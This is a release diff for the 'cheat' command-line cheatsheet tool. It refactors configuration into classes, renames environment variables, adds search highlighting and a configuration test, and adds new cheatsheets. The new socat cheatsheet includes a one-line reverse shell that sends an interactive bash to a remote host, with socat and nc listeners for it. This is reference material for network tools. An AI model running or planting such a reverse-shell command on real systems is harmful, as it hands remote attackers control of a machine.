Version bump: 2.4.2

Contains `termcolor` dependency fix.

.gitignore

@@ -1,4 +1,5 @@
 *.pyc
+.env
 MANIFEST
 build
 cheat.egg-info

README.md

@@ -83,39 +83,42 @@ with your [dotfiles][].
 Configuring
 -----------
 
-### Setting a DEFAULT_CHEAT_DIR ###
+### Setting a CHEAT_DEFAULT_DIR ###
 Personal cheatsheets are saved in the `~/.cheat` directory by default, but you
-can specify a different default by exporting a `DEFAULT_CHEAT_DIR` environment
+can specify a different default by exporting a `CHEAT_DEFAULT_DIR` environment
 variable:
 
 ```sh
-export DEFAULT_CHEAT_DIR='/path/to/my/cheats'
+export CHEAT_DEFAULT_DIR='/path/to/my/cheats'
 ```
 
-### Setting a CHEATPATH ###
+### Setting a CHEAT_PATH ###
 You can additionally instruct `cheat` to look for cheatsheets in other
-directories by exporting a `CHEATPATH` environment variable:
+directories by exporting a `CHEAT_PATH` environment variable:
 
 ```sh
-export CHEATPATH='/path/to/my/cheats'
+export CHEAT_PATH='/path/to/my/cheats'
 ```
 
-You may, of course, append multiple directories to your `CHEATPATH`:
+You may, of course, append multiple directories to your `CHEAT_PATH`:
 
 ```sh
-export CHEATPATH="$CHEATPATH:/path/to/more/cheats"
+export CHEAT_PATH="$CHEAT_PATH:/path/to/more/cheats"
 ```
 
-You may view which directories are on your `CHEATPATH` with `cheat -d`.
+You may view which directories are on your `CHEAT_PATH` with `cheat -d`.
 
 ### Enabling Syntax Highlighting ###
-`cheat` can optionally apply syntax highlighting to your cheatsheets. To enable
-syntax highlighting, export a `CHEATCOLORS` environment variable:
+`cheat` can optionally apply syntax highlighting to your cheatsheets. To
+enable syntax highlighting, export a `CHEAT_COLORS` environment variable:
 
 ```sh
-export CHEATCOLORS=true
+export CHEAT_COLORS=true
 ```
 
+Note that [pygments][] must be installed on your system for this to work.
+
+
 #### Specifying a Syntax Highlighter ####
 You may manually specify which syntax highlighter to use for each cheatsheet by
 wrapping the sheet's contents in a [Github-Flavored Markdown code-fence][gfm].
@@ -134,6 +137,23 @@ WHERE id = 100
 If no syntax highlighter is specified, the `bash` highlighter will be used by
 default.
 
+### Enabling Search Match Highlighting ###
+`cheat` can optionally be configured to highlight search term matches in search
+results. To do so, export a `CHEAT_HIGHLIGHT` environment variable with a value
+of one of the following:
+
+- blue
+- cyan
+- green
+- grey
+- magenta
+- red
+- white
+- yellow
+
+Note that the `termcolor` module must be installed on your system for this to
+work.
+
 
 See Also:
 ---------
@@ -145,4 +165,5 @@ See Also:
 [dotfiles]:         http://dotfiles.github.io/
 [gfm]:              https://help.github.com/articles/creating-and-highlighting-code-blocks/
 [installing]:       https://github.com/chrisallenlane/cheat/wiki/Installing
+[pygments]:         http://pygments.org/
 [related-projects]: https://github.com/chrisallenlane/cheat/wiki/Related-Projects

bin/cheat

@@ -35,14 +35,24 @@ Examples:
 """
 
 # require the dependencies
-from cheat import sheets, sheet
-from cheat.utils import colorize
+from __future__ import print_function
+from cheat.sheets import Sheets
+from cheat.sheet import Sheet
+from cheat.utils import Utils
+from cheat.configuration import Configuration
 from docopt import docopt
+import os
 
 
 if __name__ == '__main__':
+
     # parse the command-line options
-    options = docopt(__doc__, version='cheat 2.3.0')
+    options = docopt(__doc__, version='cheat 2.4.2')
+
+    config = Configuration()
+    sheets = Sheets(config)
+    utils = Utils(config)
+    sheet = Sheet(sheets, utils)
 
     # list directories
     if options['--directories']:
@@ -50,7 +60,7 @@ if __name__ == '__main__':
 
     # list cheatsheets
     elif options['--list']:
-        print(sheets.list())
+        print(sheets.list(), end="")
 
     # create/edit cheatsheet
     elif options['--edit']:
@@ -58,8 +68,8 @@ if __name__ == '__main__':
 
     # search among the cheatsheets
     elif options['--search']:
-        print(colorize(sheets.search(options['<keyword>'])))
+        print(utils.colorize(sheets.search(options['<keyword>'])), end="")
 
     # print the cheatsheet
     else:
-        print(colorize(sheet.read(options['<cheatsheet>'])))
+        print(utils.colorize(sheet.read(options['<cheatsheet>'])), end="")

cheat/__init__.py

@@ -1,3 +1,4 @@
 from . import sheet
 from . import sheets
 from . import utils
+from . import configuration

cheat/cheatsheets/__init__.py

@@ -1,4 +0,0 @@
-import os
-
-def sheets_dir():
-  return os.path.split(__file__)

cheat/cheatsheets/convert

@@ -15,5 +15,5 @@ convert original-image.jpg -resize 100x converted-image.png
 for file in `ls original/image/path/`;
     do new_path=${file%.*};
     new_file=`basename $new_path`;
-    convert $file -resize 150 conerted/image/path/$new_file.png;
+    convert $file -resize 150 converted/image/path/$new_file.png;
 done

cheat/cheatsheets/curl

@@ -29,7 +29,7 @@ curl -C - -o partial_file.zip http://example.com/file.zip
 curl -I http://example.com
 
 # Fetch your external IP and network info as JSON
-curl http://ifconfig.me/all/json
+curl http://ifconfig.me/all.json
 
 # Limit the rate of a download
 curl --limit-rate 1000B -O http://path.to.the/file

cheat/cheatsheets/scd

@@ -0,0 +1,20 @@
+# To index recursively some paths for the very first run:
+scd -ar ~/Documents/
+
+# To change to a directory path matching "doc":
+scd doc
+
+# To change to a path matching all of "a", "b" and "c":
+scd a b c
+
+# To change to a directory path that ends with "ts":
+scd "ts$"
+
+# To show selection menu and ranking of 20 most likely directories:
+scd -v
+
+# To alias current directory as "xray":
+scd --alias=xray
+
+# To jump to a previously defined aliased directory:
+scd xray

cheat/cheatsheets/scp

@@ -3,3 +3,6 @@ scp foo.txt user@example.com:remote/dir
 
 # To copy a file from a remote server to your local machine:
 scp user@example.com:remote/dir/foo.txt local/dir
+
+# To scp a file over a SOCKS proxy on localhost and port 9999 (see ssh for tunnel setup):
+scp -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" file.txt username@example2.com:/tmp/

cheat/cheatsheets/snap

@@ -0,0 +1,98 @@
+# To find the `foo` snap:
+snap find foo
+
+# To view detailed information about snap `foo`:
+snap info foo
+
+# To view all private snaps (must be logged in):
+snap find --private
+
+# To install the `foo` snap:
+sudo snap install foo
+
+# To install the `foo` snap from the "beta" channel:
+sudo snap install foo --channel=beta
+
+# To view installed snaps:
+snap list
+
+# To list all revisions of installed snaps:
+snap list --all
+
+# To (manually) update all snaps:
+sudo snap refresh
+
+# To (manually) update the `foo` snap:
+sudo snap refresh foo
+
+# To update the `foo` snap to the "beta" channel:
+sudo snap refresh foo --channel=beta
+
+# To revert the `foo` snap to a prior version:
+sudo snap revert foo
+
+# To revert the `foo` snap to revision 5:
+snap revert foo --revision 5
+
+# To remove the `foo` snap:
+sudo snap remove foo
+
+# To log in to snap (must first create account online):
+sudo snap login
+
+# To log out of snap:
+snap logout
+
+# To view a transaction log summary:
+snap changes
+
+# To view details of item 123 in the transaction log:
+snap change 123
+
+# To watch transaction 123:
+snap watch 123
+
+# To abort transaction 123:
+snap abort 123
+
+# To download the `foo` snap (and its assertions) *without* installing it:
+snap download foo
+
+# To install the locally-downloaded `foo` snap with assertions:
+snap ack foo.assert
+snap install foo.snap
+
+# To install the locally-downloaded `foo` snap without assertions:
+# NB: this is dangerous, because the integrity of the snap will not be
+# verified. You should only do this to test a snap that you are currently
+# developing.
+snap install --dangerous foo.snap
+
+# To install snap `foo` in "dev mode":
+# NB: this is dangerous, and bypasses the snap sandboxing mechanisms
+snap install --devmode foo
+
+# To install snap `foo` in "classic mode":
+# NB: this is likewise dangerous
+snap install --classic foo
+
+# To view available snap interfaces:
+snap interfaces
+
+# To connect the `foo:camera` plug to the ubuntu core slot:
+snap connect foo:camera :camera
+
+# To disconnect the `foo:camera` plug from the ubuntu core slot:
+snap disconnect foo:camera
+
+# To disable the `foo` snap
+snap disable foo
+
+# To enable the `foo` snap
+snap enable foo
+
+# To set snap `foo`'s `bar` property to 10:
+snap set foo bar=10
+
+# To read snap `foo`'s current `bar` property:
+snap get foo bar

cheat/cheatsheets/socat

@@ -0,0 +1,37 @@
+# socat connect to http-server (port 80 on 'butzel.info')
+socat TCP4:butzel.info:80 -
+
+# connect to https-server (port 443 on 'butzel.info' with tls)
+socat openssl:butzel.info:443 -
+
+# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions
+socat -x tcp-listen:3180,fork -
+
+# practical examples:
+
+# complete real working http-example:  
+#  (sleep is necessary to prevent socat closing socket before data received)
+(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \ 
+| socat tcp4:butzel.info:80 -
+
+# http to httpS 'Proxy' (for an webserver without TLS-Support)
+socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80
+
+# port forwarding (e.g. own port 3180 to port 22(ssh) on target
+socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh
+
+# TOR-forwarding (needs tor-daemon on port 9050 running)
+socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050
+
+# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200)
+socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200
+
+# udp to tcp
+socat -u udp-recvfrom:1234,fork tcp:localhost:4321
+
+# reverse shell:
+socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180
+
+# listener for above reverse shell (on remote.butzel.info):
+socat file:`tty`,raw,echo=0 tcp-listen:3180
+# or: nc -lp 3180

cheat/cheatsheets/ssh

@@ -23,6 +23,9 @@ ssh -X -t user@example.com 'chromium-browser'
 # To create a SOCKS proxy on localhost and port 9999
 ssh -D 9999 user@example.com
 
+# To tunnel an ssh session over the SOCKS proxy on localhost and port 9999
+ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" username@example2.com
+
 # -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish
 ssh user@example.com -C -c blowfish -X
 

cheat/configuration.py

@@ -0,0 +1,134 @@
+import os
+from cheat.utils import Utils
+import json
+
+
+class Configuration:
+
+    def __init__(self):
+        self._get_global_conf_file_path()
+        self._get_local_conf_file_path()
+        self._saved_configuration = self._get_configuration()
+
+    def _get_configuration(self):
+        # get options from config files and environment vairables
+        merged_config = {}
+
+        try:
+            merged_config.update(
+                self._read_configuration_file(self.glob_config_path)
+            )
+        except Exception as e:
+            Utils.warn('error while parsing global configuration Reason: '
+                       + e.message
+                       )
+
+        try:
+            merged_config.update(
+                self._read_configuration_file(self.local_config_path)
+            )
+        except Exception as e:
+            Utils.warn('error while parsing user configuration Reason: '
+                       + e.message
+                       )
+
+        merged_config.update(self._read_env_vars_config())
+
+        self._check_configuration(merged_config)
+
+        return merged_config
+
+    def _read_configuration_file(self, path):
+        # Reads configuration file and returns list of set variables
+        read_config = {}
+        if (os.path.isfile(path)):
+            with open(path) as config_file:
+                read_config.update(json.load(config_file))
+        return read_config
+
+    def _read_env_vars_config(self):
+        read_config = {}
+
+        # NOTE: These variables are left here because of backwards
+        # compatibility and are supported only as env vars but not in
+        # configuration file
+
+        if (os.environ.get('VISUAL')):
+            read_config['EDITOR'] = os.environ.get('VISUAL')
+
+        # variables supported both in environment and configuration file
+        # NOTE: Variables without CHEAT_ prefix are legacy
+        # key is variable name and value is its legacy_alias
+        # if variable has no legacy alias then set to None
+        variables = {'CHEAT_DEFAULT_DIR': 'DEFAULT_CHEAT_DIR',
+                     'CHEAT_PATH': 'CHEATPATH',
+                     'CHEAT_COLORS': 'CHEATCOLORS',
+                     'CHEAT_EDITOR': 'EDITOR',
+                     'CHEAT_HIGHLIGHT': None
+                     }
+
+        for (k, v) in variables.items():
+            self._read_env_var(read_config, k, v)
+
+        return read_config
+
+    def _check_configuration(self, config):
+        """ Check values in config and warn user or die """
+
+        # validate CHEAT_HIGHLIGHT values if set
+        colors = [
+            'grey', 'red', 'green', 'yellow',
+            'blue', 'magenta', 'cyan', 'white'
+        ]
+        if (
+            config.get('CHEAT_HIGHLIGHT') and
+            config.get('CHEAT_HIGHLIGHT') not in colors
+        ):
+            Utils.die("%s %s" % ('CHEAT_HIGHLIGHT must be one of:', colors))
+
+    def _read_env_var(self, current_config, key, alias=None):
+        if os.environ.get(key) is not None:
+            current_config[key] = os.environ.get(key)
+            return
+        elif alias is not None and os.environ.get(alias) is not None:
+            current_config[key] = os.environ.get(alias)
+            return
+
+    def _get_global_conf_file_path(self):
+        self.glob_config_path = (os.environ.get('CHEAT_GLOBAL_CONF_PATH')
+                                 or '/etc/cheat')
+
+    def _get_local_conf_file_path(self):
+        path = (os.environ.get('CHEAT_LOCAL_CONF_PATH')
+                or os.path.expanduser('~/.config/cheat/cheat'))
+        self.local_config_path = path
+
+    def _choose_value(self, primary_value_name, secondary_value_name):
+        """ Return primary or secondary value in saved_configuration
+
+        If primary value is in configuration then return it. If it is not
+        then return secondary. In the absence of both values return None
+        """
+
+        primary_value = self._saved_configuration.get(primary_value_name)
+        secondary_value = self._saved_configuration.get(secondary_value_name)
+
+        if primary_value is not None:
+            return primary_value
+        else:
+            return secondary_value
+
+    def get_default_cheat_dir(self):
+        return self._choose_value('CHEAT_DEFAULT_DIR', 'DEFAULT_CHEAT_DIR')
+
+    def get_cheatpath(self):
+        return self._choose_value('CHEAT_PATH', 'CHEATPATH')
+
+    def get_cheatcolors(self):
+        return self._choose_value('CHEAT_COLORS', 'CHEATCOLORS')
+
+    def get_editor(self):
+        return self._choose_value('CHEAT_EDITOR', 'EDITOR')
+
+    def get_highlight(self):
+        return self._saved_configuration.get('CHEAT_HIGHLIGHT')

cheat/sheet.py

@@ -1,76 +1,79 @@
+import io
 import os
 import shutil
 
-from cheat import sheets
-from cheat.utils import die, open_with_editor
-
-def copy(current_sheet_path, new_sheet_path):
-    """ Copies a sheet to a new path """
-
-    # attempt to copy the sheet to DEFAULT_CHEAT_DIR
-    try:
-        shutil.copy(current_sheet_path, new_sheet_path)
-
-    # fail gracefully if the cheatsheet cannot be copied. This can happen if
-    # DEFAULT_CHEAT_DIR does not exist
-    except IOError:
-        die('Could not copy cheatsheet for editing.')
+from cheat.utils import Utils
 
 
-def create_or_edit(sheet):
-    """ Creates or edits a cheatsheet """
+class Sheet:
 
-    # if the cheatsheet does not exist
-    if not exists(sheet):
-        create(sheet)
+    def __init__(self, sheets, utils):
+        self._sheets = sheets
+        self._utils = utils
 
-    # if the cheatsheet exists but not in the default_path, copy it to the
-    # default path before editing
-    elif exists(sheet) and not exists_in_default_path(sheet):
-        copy(path(sheet), os.path.join(sheets.default_path(), sheet))
-        edit(sheet)
+    def copy(self, current_sheet_path, new_sheet_path):
+        """ Copies a sheet to a new path """
 
-    # if it exists and is in the default path, then just open it
-    else:
-        edit(sheet)
+        # attempt to copy the sheet to DEFAULT_CHEAT_DIR
+        try:
+            shutil.copy(current_sheet_path, new_sheet_path)
 
+        # fail gracefully if the cheatsheet cannot be copied. This can happen
+        # if DEFAULT_CHEAT_DIR does not exist
+        except IOError:
+            Utils.die('Could not copy cheatsheet for editing.')
 
-def create(sheet):
-    """ Creates a cheatsheet """
-    new_sheet_path = os.path.join(sheets.default_path(), sheet)
-    open_with_editor(new_sheet_path)
+    def create_or_edit(self, sheet):
+        """ Creates or edits a cheatsheet """
 
+        # if the cheatsheet does not exist
+        if not self.exists(sheet):
+            self.create(sheet)
 
-def edit(sheet):
-    """ Opens a cheatsheet for editing """
-    open_with_editor(path(sheet))
+        # if the cheatsheet exists but not in the default_path, copy it to the
+        # default path before editing
+        elif self.exists(sheet) and not self.exists_in_default_path(sheet):
+            self.copy(self.path(sheet),
+                      os.path.join(self._sheets.default_path(), sheet))
+            self.edit(sheet)
 
+        # if it exists and is in the default path, then just open it
+        else:
+            self.edit(sheet)
 
-def exists(sheet):
-    """ Predicate that returns true if the sheet exists """
-    return sheet in sheets.get() and os.access(path(sheet), os.R_OK)
+    def create(self, sheet):
+        """ Creates a cheatsheet """
+        new_sheet_path = os.path.join(self._sheets.default_path(), sheet)
+        self._utils.open_with_editor(new_sheet_path)
 
+    def edit(self, sheet):
+        """ Opens a cheatsheet for editing """
+        self._utils.open_with_editor(self.path(sheet))
 
-def exists_in_default_path(sheet):
-    """ Predicate that returns true if the sheet exists in default_path"""
-    default_path_sheet = os.path.join(sheets.default_path(), sheet)
-    return sheet in sheets.get() and os.access(default_path_sheet, os.R_OK)
+    def exists(self, sheet):
+        """ Predicate that returns true if the sheet exists """
+        return (sheet in self._sheets.get() and
+                os.access(self.path(sheet), os.R_OK))
 
+    def exists_in_default_path(self, sheet):
+        """ Predicate that returns true if the sheet exists in default_path"""
+        default_path_sheet = os.path.join(self._sheets.default_path(), sheet)
+        return (sheet in self._sheets.get() and
+                os.access(default_path_sheet, os.R_OK))
 
-def is_writable(sheet):
-    """ Predicate that returns true if the sheet is writeable """
-    return sheet in sheets.get() and os.access(path(sheet), os.W_OK)
+    def is_writable(self, sheet):
+        """ Predicate that returns true if the sheet is writeable """
+        return (sheet in self._sheets.get() and
+                os.access(self.path(sheet), os.W_OK))
 
+    def path(self, sheet):
+        """ Returns a sheet's filesystem path """
+        return self._sheets.get()[sheet]
 
-def path(sheet):
-    """ Returns a sheet's filesystem path """
-    return sheets.get()[sheet]
+    def read(self, sheet):
+        """ Returns the contents of the cheatsheet as a String """
+        if not self.exists(sheet):
+            Utils.die('No cheatsheet found for ' + sheet)
 
-
-def read(sheet):
-    """ Returns the contents of the cheatsheet as a String """
-    if not exists(sheet):
-        die('No cheatsheet found for ' + sheet)
-
-    with open(path(sheet)) as cheatfile:
-        return cheatfile.read()
+        with io.open(self.path(sheet), encoding='utf-8') as cheatfile:
+            return cheatfile.read()

cheat/sheets.py

@@ -1,93 +1,102 @@
+import io
 import os
 
-from cheat import cheatsheets
-from cheat.utils import die
-
-def default_path():
-    """ Returns the default cheatsheet path """
-
-    # determine the default cheatsheet dir
-    default_sheets_dir = os.environ.get('DEFAULT_CHEAT_DIR') or os.path.join('~', '.cheat')
-    default_sheets_dir = os.path.expanduser(os.path.expandvars(default_sheets_dir))
-
-    # create the DEFAULT_CHEAT_DIR if it does not exist
-    if not os.path.isdir(default_sheets_dir):
-        try:
-            # @kludge: unclear on why this is necessary
-            os.umask(0000)
-            os.mkdir(default_sheets_dir)
-
-        except OSError:
-            die('Could not create DEFAULT_CHEAT_DIR')
-
-    # assert that the DEFAULT_CHEAT_DIR is readable and writable
-    if not os.access(default_sheets_dir, os.R_OK):
-        die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not readable.')
-    if not os.access(default_sheets_dir, os.W_OK):
-        die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not writable.')
-
-    # return the default dir
-    return default_sheets_dir
+from cheat.utils import Utils
 
 
-def get():
-    """ Assembles a dictionary of cheatsheets as name => file-path """
-    cheats = {}
+class Sheets:
 
-    # otherwise, scan the filesystem
-    for cheat_dir in reversed(paths()):
-        cheats.update(
-            dict([
-                (cheat, os.path.join(cheat_dir, cheat))
-                for cheat in os.listdir(cheat_dir)
-                if not cheat.startswith('.')
-                and not cheat.startswith('__')
-            ])
-        )
+    def __init__(self, config):
+        self._default_cheat_dir = config.get_default_cheat_dir()
+        self._cheatpath = config.get_cheatpath()
+        self._utils = Utils(config)
 
-    return cheats
+    def default_path(self):
+        """ Returns the default cheatsheet path """
 
+        # determine the default cheatsheet dir
+        default_sheets_dir = (self._default_cheat_dir or
+                              os.path.join('~', '.cheat'))
+        default_sheets_dir = os.path.expanduser(
+            os.path.expandvars(default_sheets_dir))
 
-def paths():
-    """ Assembles a list of directories containing cheatsheets """
-    sheet_paths = [
-        default_path(),
-        cheatsheets.sheets_dir()[0],
-    ]
+        # create the DEFAULT_CHEAT_DIR if it does not exist
+        if not os.path.isdir(default_sheets_dir):
+            try:
+                # @kludge: unclear on why this is necessary
+                os.umask(0000)
+                os.mkdir(default_sheets_dir)
 
-    # merge the CHEATPATH paths into the sheet_paths
-    if 'CHEATPATH' in os.environ and os.environ['CHEATPATH']:
-        for path in os.environ['CHEATPATH'].split(os.pathsep):
-            if os.path.isdir(path):
-                sheet_paths.append(path)
+            except OSError:
+                Utils.die('Could not create DEFAULT_CHEAT_DIR')
 
-    if not sheet_paths:
-        die('The DEFAULT_CHEAT_DIR dir does not exist or the CHEATPATH is not set.')
+        # assert that the DEFAULT_CHEAT_DIR is readable and writable
+        if not os.access(default_sheets_dir, os.R_OK):
+            Utils.die('The DEFAULT_CHEAT_DIR ('
+                      + default_sheets_dir
+                      + ') is not readable.')
+        if not os.access(default_sheets_dir, os.W_OK):
+            Utils.die('The DEFAULT_CHEAT_DIR ('
+                      + default_sheets_dir
+                      + ') is not writable.')
 
-    return sheet_paths
+        # return the default dir
+        return default_sheets_dir
 
+    def get(self):
+        """ Assembles a dictionary of cheatsheets as name => file-path """
+        cheats = {}
 
-def list():
-    """ Lists the available cheatsheets """
-    sheet_list = ''
-    pad_length = max([len(x) for x in get().keys()]) + 4
-    for sheet in sorted(get().items()):
-        sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n"
-    return sheet_list
+        # otherwise, scan the filesystem
+        for cheat_dir in reversed(self.paths()):
+            cheats.update(
+                dict([
+                    (cheat, os.path.join(cheat_dir, cheat))
+                    for cheat in os.listdir(cheat_dir)
+                    if not cheat.startswith('.')
+                    and not cheat.startswith('__')
+                ])
+            )
 
+        return cheats
 
-def search(term):
-    """ Searches all cheatsheets for the specified term """
-    result = ''
-    lowered_term = term.lower()
+    def paths(self):
+        """ Assembles a list of directories containing cheatsheets """
+        sheet_paths = [
+            self.default_path(),
+        ]
 
-    for cheatsheet in sorted(get().items()):
-        match = ''
-        for line in open(cheatsheet[1]):
-            if lowered_term in line:
-                match += '  ' + line
+        # merge the CHEATPATH paths into the sheet_paths
+        if self._cheatpath:
+            for path in self._cheatpath.split(os.pathsep):
+                if os.path.isdir(path):
+                    sheet_paths.append(path)
 
-        if match != '':
-            result += cheatsheet[0] + ":\n" + match + "\n"
+        if not sheet_paths:
+            Utils.die('The DEFAULT_CHEAT_DIR dir does not exist '
+                      + 'or the CHEATPATH is not set.')
 
-    return result
+        return sheet_paths
+
+    def list(self):
+        """ Lists the available cheatsheets """
+        sheet_list = ''
+        pad_length = max([len(x) for x in self.get().keys()]) + 4
+        for sheet in sorted(self.get().items()):
+            sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n"
+        return sheet_list
+
+    def search(self, term):
+        """ Searches all cheatsheets for the specified term """
+        result = ''
+
+        for cheatsheet in sorted(self.get().items()):
+            match = ''
+            for line in io.open(cheatsheet[1], encoding='utf-8'):
+                if term in line:
+                    match += '  ' + self._utils.highlight(term, line)
+
+            if match != '':
+                result += cheatsheet[0] + ":\n" + match + "\n"
+
+        return result

cheat/utils.py

@@ -1,71 +1,100 @@
 from __future__ import print_function
 import os
-import sys
 import subprocess
+import sys
 
 
-def colorize(sheet_content):
-    """ Colorizes cheatsheet content if so configured """
+class Utils:
 
-    # only colorize if so configured
-    if not 'CHEATCOLORS' in os.environ:
-        return sheet_content
+    def __init__(self, config):
+        self._displaycolors = config.get_cheatcolors()
+        self._editor_executable = config.get_editor()
+        self._highlight_color = config.get_highlight()
 
-    try:
-        from pygments import highlight
-        from pygments.lexers import get_lexer_by_name
-        from pygments.formatters import TerminalFormatter
+    def highlight(self, needle, haystack):
+        """ Highlights a search term matched within a line """
 
-    # if pygments can't load, just return the uncolorized text
-    except ImportError:
-        return sheet_content
+        # if a highlight color is not configured, exit early
+        if not self._highlight_color:
+            return haystack
 
-    first_line = sheet_content.splitlines()[0]
-    lexer      = get_lexer_by_name('bash')
-    if first_line.startswith('```'):
-        sheet_content = '\n'.join(sheet_content.split('\n')[1:-2])
+        # otherwise, attempt to import the termcolor library
         try:
-            lexer = get_lexer_by_name(first_line[3:])
-        except Exception:
-            pass
+            from termcolor import colored
 
-    return highlight(sheet_content, lexer, TerminalFormatter())
+        # if the import fails, return uncolored text
+        except ImportError:
+            return haystack
 
+        # if the import succeeds, colorize the needle in haystack
+        return haystack.replace(needle, colored(needle, self._highlight_color))
 
-def die(message):
-    """ Prints a message to stderr and then terminates """
-    warn(message)
-    exit(1)
+    def colorize(self, sheet_content):
+        """ Colorizes cheatsheet content if so configured """
 
+        # cover all possible positive values to be safe
+        positive_values = ["True", "true", "1", 1, True]
 
-def editor():
-    """ Determines the user's preferred editor """
+        # only colorize if configured to do so, and if stdout is a tty
+        if (self._displaycolors not in positive_values or
+                not sys.stdout.isatty()):
+            return sheet_content
 
-    # determine which editor to use
-    editor = os.environ.get('CHEAT_EDITOR') \
-        or os.environ.get('VISUAL')         \
-        or os.environ.get('EDITOR')         \
-        or False
+        # don't attempt to colorize an empty cheatsheet
+        if not sheet_content.strip():
+            return ""
 
-    # assert that the editor is set
-    if editor == False:
-        die(
-            'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment '
-            'variable in order to create/edit a cheatsheet.'
-        )
+        # otherwise, attempt to import the pygments library
+        try:
+            from pygments import highlight
+            from pygments.lexers import get_lexer_by_name
+            from pygments.formatters import TerminalFormatter
 
-    return editor
+        # if the import fails, return uncolored text
+        except ImportError:
+            return sheet_content
 
+        # otherwise, attempt to colorize
+        first_line = sheet_content.splitlines()[0]
+        lexer = get_lexer_by_name('bash')
 
-def open_with_editor(filepath):
-    """ Open `filepath` using the EDITOR specified by the environment variables """
-    editor_cmd = editor().split()
-    try:
-        subprocess.call(editor_cmd + [filepath])
-    except OSError:
-        die('Could not launch ' + editor())
+        # apply syntax-highlighting if the first line is a code-fence
+        if first_line.startswith('```'):
+            sheet_content = '\n'.join(sheet_content.split('\n')[1:-2])
+            try:
+                lexer = get_lexer_by_name(first_line[3:])
+            except Exception:
+                pass
 
+        return highlight(sheet_content, lexer, TerminalFormatter())
 
-def warn(message):
-    """ Prints a message to stderr """
-    print((message), file=sys.stderr)
+    @staticmethod
+    def die(message):
+        """ Prints a message to stderr and then terminates """
+        Utils.warn(message)
+        exit(1)
+
+    def editor(self):
+        """ Determines the user's preferred editor """
+
+        # assert that the editor is set
+        if (not self._editor_executable):
+            Utils.die(
+                'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment '
+                'variable or setting in order to create/edit a cheatsheet.'
+            )
+
+        return self._editor_executable
+
+    def open_with_editor(self, filepath):
+        """ Open `filepath` using the EDITOR specified by the env variables """
+        editor_cmd = self.editor().split()
+        try:
+            subprocess.call(editor_cmd + [filepath])
+        except OSError:
+            Utils.die('Could not launch ' + self.editor())
+
+    @staticmethod
+    def warn(message):
+        """ Prints a message to stderr """
+        print((message), file=sys.stderr)

config/cheat

@@ -0,0 +1,5 @@
+{
+  "CHEAT_COLORS": true,
+  "CHEAT_EDITOR":"vi",
+  "CHEAT_PATH":"/usr/share/cheat"
+}

setup.py

@@ -1,9 +1,20 @@
 from distutils.core import setup
 import os
 
+# determine the directory in which to install system-wide cheatsheets
+# KLUDGE: It would be better to read `/usr/share/cheat` from `config/cheat`
+# rather than hard-coding it here
+cheat_path = os.environ.get('CHEAT_PATH') or '/usr/share/cheat'
+
+# aggregate the systme-wide cheatsheets
+cheat_files = []
+for f in os.listdir('cheat/cheatsheets/'):
+    cheat_files.append(os.path.join('cheat/cheatsheets/',f))
+
+# specify build params
 setup(
     name         = 'cheat',
-    version      = '2.3.0',
+    version      = '2.4.2',
     author       = 'Chris Lane',
     author_email = 'chris@chris-allen-lane.com',
     license      = 'GPL3',
@@ -14,15 +25,16 @@ setup(
     url          = 'https://github.com/chrisallenlane/cheat',
     packages     = [
         'cheat',
-        'cheat.cheatsheets',
         'cheat.test',
     ],
-    package_data = {
-        'cheat.cheatsheets': [f for f in os.listdir('cheat/cheatsheets') if '.' not in f]
-    },
     scripts          = ['bin/cheat'],
     install_requires = [
         'docopt >= 0.6.1',
         'pygments >= 1.6.0',
-    ]
+        'termcolor >= 1.1.0',
+    ],
+    data_files = [
+        (cheat_path, cheat_files),
+        ('/etc', ['config/cheat']),
+    ],
 )

tests/test_configuration.py

@@ -0,0 +1,86 @@
+import unittest2
+import os
+import shutil
+from cheat.configuration import Configuration
+
+
+def _set_loc_conf(key, value):
+    _path = os.path.dirname(os.path.abspath(__file__)) + '/home/.config/cheat/cheat'
+    if value == None:
+        os.remove(_path)
+    else:
+        if not os.path.exists(os.path.dirname(_path)):
+            os.makedirs(os.path.dirname(_path))
+        f = open(_path,"w+")
+        f.write('{"'+ key +'":"'+ value +'"}')
+        f.close()
+
+
+def _set_glob_conf(key, value):
+    _path = os.path.dirname(os.path.abspath(__file__))+ "/etc/cheat"
+    if value == None:
+        os.remove(_path)
+    else:
+        if not os.path.exists(os.path.dirname(_path)):
+            os.mkdir(os.path.dirname(_path))
+        f = open(_path,"w+")
+        f.write('{"'+ key +'":"'+ value +'"}' )
+        f.close()
+
+
+def _set_env_var(key, value):
+    if value == None:
+        del os.environ[key]
+    else:
+        os.environ[key] = value
+
+
+def _configuration_key_test(TestConfiguration, key,values, conf_get_method):
+    for glob_conf in values:
+            _set_glob_conf(key,glob_conf)
+            for loc_conf in values:
+                _set_loc_conf(key,loc_conf)
+                for env_conf in values:
+                    _set_env_var(key,env_conf)
+                    if env_conf:
+                        TestConfiguration.assertEqual(conf_get_method(Configuration()),env_conf)
+                    elif loc_conf:
+                        TestConfiguration.assertEqual(conf_get_method(Configuration()),loc_conf)
+                    elif glob_conf:
+                        TestConfiguration.assertEqual(conf_get_method(Configuration()),glob_conf)
+                    else:
+                        TestConfiguration.assertEqual(conf_get_method(Configuration()),None)
+
+
+class ConfigurationTestCase(unittest2.TestCase):
+
+
+    def setUp(self):
+        os.environ['CHEAT_GLOBAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+        + '/etc/cheat'
+        os.environ['CHEAT_LOCAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+        + '/home/.config/cheat/cheat'
+
+
